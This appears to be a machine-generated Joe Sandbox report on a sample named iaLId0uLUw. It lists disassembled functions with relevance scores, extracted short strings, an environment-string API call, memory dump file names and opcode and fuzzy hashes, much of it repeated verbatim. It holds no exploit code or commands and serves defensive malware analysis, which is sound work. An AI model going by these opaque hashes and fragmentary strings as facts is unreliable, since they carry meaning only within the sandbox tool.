Download Yara Rule

Strings

, xrefs: 05D74F65
M, xrefs: 05D74B6F
@, xrefs: 05D74BBC
N, xrefs: 05D74C32

Memory Dump Source

Source File: 00000000.00000002.2757568439.0000000005D71000.00000020.00000800.00020000.00000000.sdmp, Offset: 05D70000, based on PE: true

Associated: 00000000.00000002.2757547287.0000000005D70000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2757590651.0000000005D79000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2757612545.0000000005D7C000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2757657489.0000000005E70000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d70000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: $ @$M$N
API String ID: 0-3479655940
Opcode ID: 88c98d9143c3cbb55caa2834f6b5f8d70fc5788f1ad522c86ad040ce5d8436ee
Instruction ID: 1dedbffbd72571ab769ae924d3044c2f2b1e6fce99cb4d44b3c5b72e4913b586
Opcode Fuzzy Hash: 88c98d9143c3cbb55caa2834f6b5f8d70fc5788f1ad522c86ad040ce5d8436ee
Instruction Fuzzy Hash: 5C028FB0A0020DEFEF12DF94DD49EAEBBB5FB44314F10412AF611A62A0E7759A91CF54

Function 003991AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?), ref: 003991DA

Strings

+Ku, xrefs: 003992AF
wpq, xrefs: 003992B7

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +Ku$wpq
API String ID: 237503144-1953850642
Opcode ID: 8e2d5a2032f590fada0bedcfc255d896e7991f487fe8a85438f6d224ec297c7c
Instruction ID: c3ba77c68fb8dfac1fa899b68f9645034ae52b89fe71f4adca8f793752bca9b1
Opcode Fuzzy Hash: 8e2d5a2032f590fada0bedcfc255d896e7991f487fe8a85438f6d224ec297c7c
Instruction Fuzzy Hash: 6B51CE7220C3168FC725CF29984076FB7E6EBC5310F15892EE5D9CB285DB70D50A8B92

Function 003A7DA9 Relevance: 5.4, Strings: 4, Instructions: 421COMMON

Download Yara Rule

Strings

\, xrefs: 003A824E
^, xrefs: 003A8246
_, xrefs: 003A8242
], xrefs: 003A824A

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: \$]$^$_
API String ID: 0-1726580471
Opcode ID: b253de13c8baabfe76d4c81fbf3f2a05ab79ece1d84b311c9b40bd53c68f76b9
Instruction ID: 0def1dbd3b98353620dce25a40157bf454a625ed7b27d583c8a511d02c55b0e4
Opcode Fuzzy Hash: b253de13c8baabfe76d4c81fbf3f2a05ab79ece1d84b311c9b40bd53c68f76b9
Instruction Fuzzy Hash: ED227C21508BD1CED326CB3C8848B597F915B67324F0E82D9D4E95F3F3C6A9894AC762

Function 003990D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00399170

Strings

M/(, xrefs: 0039919E
M/(, xrefs: 0039913D

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M/($M/(
API String ID: 237503144-1710806632
Opcode ID: 8e56315977e90a555babe803cb5bb5254ff98d1c27df3480d6d0b4e8dfd1efad
Instruction ID: 7623c568648d09ba5b030f7fd70a6359548bef5b94cea51e2983ba422b02f077
Opcode Fuzzy Hash: 8e56315977e90a555babe803cb5bb5254ff98d1c27df3480d6d0b4e8dfd1efad
Instruction Fuzzy Hash: 2F212371A5C3515FEB14CE38988179FBBAAEBC2704F01892CE0D1DB1D5D679880B8792

Function 0039C9EB Relevance: 5.2, Strings: 4, Instructions: 193COMMON

Download Yara Rule

Strings

_^]\, xrefs: 0039CA6F
EXCm, xrefs: 0039C9FE
_^]\, xrefs: 0039C96F
EXCm, xrefs: 0039C8F5

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: EXCm$EXCm$_^]\$_^]\
API String ID: 0-1657758763
Opcode ID: 8c1b9186b30a65bc1465f46b9ca16957f7ab833f1d3e83408f26fa4a546795e8
Instruction ID: 5fc5d8f179f3dceed2041403c15768c3a0871dd856f04fc12d1ecdbc27658d75
Opcode Fuzzy Hash: 8c1b9186b30a65bc1465f46b9ca16957f7ab833f1d3e83408f26fa4a546795e8
Instruction Fuzzy Hash: 8251E2B0114A928BDB26CF3A80A0773BBD2AF57304F5D96ACC4D78B652D730A885CB50

Function 0039A5B6 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

i, xrefs: 0039A527
i, xrefs: 0039A5CD
VN, xrefs: 0039A5C6
VN, xrefs: 0039A520

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: VN$VN$i$i
API String ID: 0-1885346908
Opcode ID: f2560a5eb87e48c54c403f4c235dd9b7370a68364d9f3f272869781b585ee5e7
Instruction ID: 7e10bb7031791189433b6c39bdf38da35ae5e881b0558862d781536609e2dd85
Opcode Fuzzy Hash: f2560a5eb87e48c54c403f4c235dd9b7370a68364d9f3f272869781b585ee5e7
Instruction Fuzzy Hash: DC21C62124C7818BD7068E6580402A6BBE7ABC7718F2A475ED0F15B391E637C9094797

Function 00384CA0 Relevance: 4.8, Strings: 3, Instructions: 1046COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00385715
7U8, xrefs: 00385528
D]+\, xrefs: 00385380

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
